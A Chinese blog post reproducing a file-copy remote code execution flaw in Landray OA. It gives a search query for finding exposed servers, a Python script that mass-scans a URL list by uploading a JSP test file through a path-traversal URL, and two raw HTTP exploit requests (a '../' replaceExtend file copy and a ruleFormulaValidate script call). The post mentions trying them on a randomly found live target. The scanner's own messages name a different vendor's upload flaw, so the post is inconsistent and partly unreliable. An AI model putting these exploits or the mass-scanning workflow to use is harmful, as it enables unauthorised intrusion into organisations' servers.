首页 > 其他分享 >【漏洞复现】某凌OA 文件Copy导致远程代码执行

【漏洞复现】某凌OA 文件Copy导致远程代码执行

时间:2024-07-29 15:24:06浏览次数:12  
标签:请求 .. url OA Content URL form 代码执行 Copy

     声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

蓝凌OA平台正通过加速构建产业互联网来深化其数字化发展,从而对企业的协作能力提出了更高的要求。为了支持这一转变,蓝凌推出了新一代生态型OA平台,旨在促进大中型组织的内外协作与管理,支撑办公自动化、管理智能化、应用平台化和组织生态化。然而,由于蓝凌OA平台的某些代码功能模块存在设计缺陷,攻击者可能会利用这些漏洞进行未授权操作,对系统安全构成威胁。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="Landray 蓝凌OA"

2.使用poc批量扫描

import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning

# 设置颜色代码用于控制台输出
RED = '\033[91m'
RESET = '\033[0m'

# 忽略不安全的SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 随机生成字符串函数,长度为n
def rand_base(n):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

# 检查目标URL是否具有特定的RCE(远程代码执行)漏洞
def check_vulnerability(url):
    filename = rand_base(6)  # 生成随机文件名
    upload_url = url.rstrip('/') + '/mp/initcfg/%2e%2e/uploadControl/uploadFile'  # 构造上传URL
    upload_headers = {
        # 构造上传请求头
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygcflwtei',
        'Connection': 'close'
    }
    # 构造上传数据体
    upload_data = (
        '------WebKitFormBoundarygcflwtei\r\n'
        f'Content-Disposition: form-data; name="file"; filename="{filename}.jsp"\r\n'
        'Content-Type: image/jpeg\r\n\r\n'
        '<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n'
        '------WebKitFormBoundarygcflwtei\r\n'
        'Content-Disposition: form-data; name="submit"\r\n\r\n'
        '上传\r\n'
        '------WebKitFormBoundarygcflwtei--'
    ).encode('utf-8')

    try:
        # 发送上传请求
        response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)
        # 构造访问上传文件的URL
        access_url = url.rstrip('/') + f'/mp/uploadFileDir/{filename}.jsp'
        access_headers = {
            # 访问请求头
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
        }
        # 发送访问请求
        response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)
        
        # 检查响应状态和内容以判断是否存在漏洞
        if response_upload.status_code == 200 and response_access.status_code == 200 and "HelloWorldTest" in response_access.text:
            print(f"{RED}URL [{url}] 存在用友 NC uploadControluploadFile 文件上传致RCE漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

# 主函数,解析命令行参数并调用检查函数
def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 NC uploadControluploadFile 文件上传致RCE漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    # 如果提供了单个URL,则检查该URL
    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    # 如果提供了包含URL的文件,则遍历文件中的每个URL进行检查
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

构造数据包:

POST /sys/ui/sys_ui_component/sysUiComponent.do HTTP/1.1
Host: ip
Accept:application/json,text/javascript,*/*;q=0.01
Accept-Encoding:gzip,deflate
Accept-Language:zh-CN,zh;q=0.9,en;q=0.8
Connection:close
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.116Safari/537.36
X-Requested-With:XMLHttpRequest
Content-Length: 395

------WebKitFormBoundaryL7ILSpOdIhIIvL51
Content-Disposition:form-data;name="method"

replaceExtend
------WebKitFormBoundaryL7ILSpOdIhIIvL51
Content-Disposition:form-data;name="extendId"

../../../../resource/help/km/review/
------WebKitFormBoundaryL7ILSpOdIhIIvL51
Content-Disposition:form-data;name="folderName"

../../../ekp/sys/common
------WebKitFormBoundaryL7ILSpOdIhIIvL51--

上传数据包:

POST /resource/help/km/review/dataxml.jsp HTTP/1.1
Host: ip
User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML,likeGecko)Chrome/113.0.0.0Safari/537.36
Connection:close
Content-Length:17392
Content-Type:application/x-www-form-urlencoded

s_bean=ruleFormulaValidate&script=shell&returnType=int&modelName=test

2.数据包分析 

构造数据包:

这是一个HTTP POST请求的数据包,用于向服务器发送数据。以下是对该数据包的解析:

  1. 请求行:POST /sys/ui/sys_ui_component/sysUiComponent.do HTTP/1.1,表示这是一个POST请求,目标URL为/sys/ui/sys_ui_component/sysUiComponent.do,使用的HTTP协议版本为1.1。

  2. 请求头:包含了一些关于请求的信息,如主机名、接受的内容类型、编码方式、语言、连接状态等。

    • Host: ip,表示请求的目标服务器的IP地址。
    • Accept: application/json,text/javascript,/;q=0.01,表示客户端可以接受的内容类型及其优先级。
    • Accept-Encoding: gzip,deflate,表示客户端可以接受的压缩格式。
    • Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,表示客户端的首选语言及其优先级。
    • Connection: close,表示请求完成后关闭连接。
    • Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51,表示请求体的类型和分隔符。
    • User-Agent: Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.116Safari/537.36,表示客户端的浏览器信息。
    • X-Requested-With: XMLHttpRequest,表示请求是由XMLHttpRequest发起的。
    • Content-Length: 395,表示请求体的长度为395字节。
  3. 请求体:包含了实际要发送给服务器的数据。这里使用了multipart/form-data格式,通过分隔符(boundary)来区分不同的表单字段。具体包含以下三个部分:

    • method: replaceExtend,表示请求的方法是replaceExtend。
    • extendId: ../../../../resource/help/km/review/,表示扩展ID的值。
    • folderName: ../../../ekp/sys/common,表示文件夹名称的值。

上传数据包:

这是一个HTTP POST请求的数据包,用于向服务器发送数据。以下是对该数据包的解析:

1. 请求行:`POST /resource/help/km/review/dataxml.jsp HTTP/1.1`,表示这是一个POST请求,目标URL为`/resource/help/km/review/dataxml.jsp`,使用的HTTP协议版本为1.1。

2. 请求头:包含了一些关于请求的信息,如主机名、用户代理、连接状态等。

   - Host: ip,表示请求的目标服务器的IP地址。
   - User-Agent: Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML,likeGecko)Chrome/113.0.0.0Safari/537.36,表示客户端的浏览器信息。
   - Connection: close,表示请求完成后关闭连接。
   - Content-Length: 17392,表示请求体的长度为17392字节。
   - Content-Type: application/x-www-form-urlencoded,表示请求体的类型是表单数据。

3. 请求体:包含了实际要发送给服务器的数据。这里使用了application/x-www-form-urlencoded格式,将参数以键值对的形式进行编码。具体包含以下四个参数:

   - s_bean=ruleFormulaValidate,表示参数名为s_bean,值为ruleFormulaValidate。
   - script=shell,表示参数名为script,值为shell。
   - returnType=int,表示参数名为returnType,值为int。
   - modelName=test,表示参数名为modelName,值为test。

3.结束跑路

使用yakit Web Fuzzer构造数据包发送。

使用yakit Web Fuzzer上传数据

每篇一言:信心这个东西,什么时候都像个高楼大厦,但是里面会长白蚁。

标签:请求,..,url,OA,Content,URL,form,代码执行,Copy
From: https://blog.csdn.net/weixin_54799594/article/details/140644428

相关文章

  • Cesium加载带有背景图(包含多个背景图,图标和文字并排)的billboard
    思路:如果是简单的背景加文字,背景图会把文字挡住,又或者是背景图要有图标加文字,这时需要用canvas将背景图,图标和文字合并成一张图片,加载billboard的时候直接加载合成之后的图片即可。letcanvas=document.createElement("canvas");canvas.width=100;canvas.height=30;let......
  • Centos中修改Docker镜像源:解决error pulling image configuration:download failed a
    场景在进行拉取镜像时提示:errorpullingimageconfiguration:downloadfailedafterattempts=6:dialing... 这是因为镜像源无法连接和使用了。但是之前已经配置过国内docker的镜像源了。是因为自2024年6月份左右国内镜像源大部分失效,原因自行探索。所以记录下如何修......
  • InputStream inputStream = classLoader.getResourceAsStream("aaa.properties") ; 
    问:InputStreaminputStream=classLoader.getResourceAsStream("aaa.properties"); 获取到的 inputStream 是null答:当您尝试使用ClassLoader的getResourceAsStream方法来获取一个资源文件(如"aaa.properties")的InputStream,但得到的结果是null时,这通常意味着资源文......
  • keycloak~为微信二维码添加动态kc认可的动态state
    本实例将通过keycloak社区登录实现微信二维码的登录,并且二微码不是keycloak动态生成,而是通过微信提供的js生成的,在页面上直接输出的方式实现的。动态state在Keycloak中使用微信二维码登录时,state参数确实是由后端生成的,并且用于确保登录过程的安全性,防止CSRF攻击等。如果你尝试......
  • CopyOnWriteArrayList
    ArrayList是一个线程不安全的容器,如果在多线程环境下使用,需要手动加锁,或者使用Collections.synchronizedList()方法将其转换为线程安全的容器。否则,将会出现ConcurrentModificationException异常。CopyOnWriteArrayList是线程安全的,可以在多线程环境下使用。CopyOnWriteArr......
  • 在页面离开前提醒你的 beforeunload 事件
    beforeunload事件在当页面卸载(关闭)或刷新时调用,事件触发的时候弹出一个有确定和取消的对话框,确定则离开页面,取消则继续待在本页。handler可以设一个返回值作为该对话框的显示文本。以下操作会触发beforeunload事件: ·关闭浏览器窗口 ·通过地址栏或收藏夹前往其他......
  • 如何在 FastAPI 中手动创建 UploadFile?
    背景我正在尝试为我的FastAPI应用程序编写测试。我有一个对象ImageRecord,它将图像上传到S3。方法签名如下:asyncdefupload_image(file:UploadFile,s3_client=None)->'ImageRecord':API逻辑(即实际的@app.post函数)调用此方法来上传对象。我想......
  • 文件上传漏洞--之upload-labs靶场详解11-15关
    第11关第一步:查看源码这是一个白名单,里面限制了只可以提供它所规定文件jpg,png,gif。 这段PHP代码主要实现了文件上传的功能,并进行了一些条件判断和处理: 首先,定义了两个变量 $is_upload 并初始化为 false ,$msg 初始化为 null 。 然后,检查是否通过 PO......
  • 菜鸟通关Upload-labs记录(1-21)
    目录基础环境所需知识:文件上传漏洞漏洞利用方式文件漏洞三要素:通关过程通用思路1.第一关2.第二关3.第三关4.第四关5.第五关6.第六关7.第七关8.第八关9.第九关10.第十关11.第十一关12.第十二关13.第十三关14.第十四关15.第十五关16.第十六关17.第十七关18.第十八关19.第......
  • 剪贴板工具 - CopyQ
    HelloWorld安装Windows(Scoop)scoopbucketaddextrasscoopinstallextras/copyq配置通过File菜单的Preferences项打开设置窗口。General通用勾选Vistylenavigation。Layout布局接着修改应用的布局:勾选Hidetoolbar、Hidetoolbarlabels,不显示工具......